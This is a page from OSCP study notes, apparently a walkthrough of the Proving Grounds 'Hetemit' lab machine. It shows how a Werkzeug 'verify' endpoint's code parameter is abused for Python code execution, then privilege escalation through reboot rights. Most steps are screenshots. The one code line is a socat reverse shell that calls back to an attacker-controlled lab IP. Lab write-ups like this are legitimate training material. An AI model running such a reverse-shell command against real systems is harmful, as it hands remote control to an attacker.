> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/hetemit/50000.md).

# 50000

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-4bb128b8b69318cdb045cf1d64b83592e9b533ab%2F79db031556b50e79da6bde442cd71ec2.png?alt=media) Werkzeug is running on port 50000

Ferox: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-27360b1249ee691f6691c11cba80a17a622ae18d%2F26cd3bbcbaea1a1cd82e11cafca20785.png?alt=media)

Now trying verify: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-88735cf1f2eb429163e0e4a682ab9c73466cb52f%2Fbfac65696b4d4c0c02db5bfe6fed45a8.png?alt=media) We can pass in a code parameter so intercepting in burpsuite and sending a post request: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-ac8f56e1c5625d25152f217db15d5bf12b6b08f1%2F408315ba59d4ea53ad4bc8f867a9cce3.png?alt=media) We have code execution and it is python.

To get a reverse shell: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-c7e788e6132875f62941cc5854ad101b58978441%2F0d5fbcba81515c32ef54d0f4074399b5.png?alt=media)

```
os.system('socat TCP:192.168.45.236:80 EXEC:sh')
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-d24aff8e14480f35ea5e5728f05b71a6accab329%2F6e7c3dd87fbd45982ade031c6360d825.png?alt=media) Running linpeas now: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-91dfe745d99ac9819c7f0c86961d63cf35bfffd4%2F54f4577d21a09875b97e479c9f857cd8.png?alt=media) ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-20ea7259b0366ccdd02c2db65830fe16890a37d2%2F35bd6646b997b4d7876ffae0ce6ea798.png?alt=media)

After getting a stable shell using ssh: We can modify it: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-c818f6864c134b356126cc63b41a852120fef923%2F04d4cd3b5f73c47af08091d5a4ea40c3.png?alt=media)

Now we see that we have reboot privileges: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-a655a7bd3f0534e6f44516e529eb4d186b82a6c6%2Fcefa7350fe81034c60df5a56233938bb.png?alt=media) So rebooting we should get a shell: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-3e9366ec53a817d98fde0de1a4fcaa8957b474d1%2Fb8e364ce7737c18ee47333aef7b0a536.png?alt=media) ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-cdbec2b38a8b808950a2d77d264e4659f79bb0cb%2F892f9c41a5acb1efb6dc8922285a9c63.png?alt=media)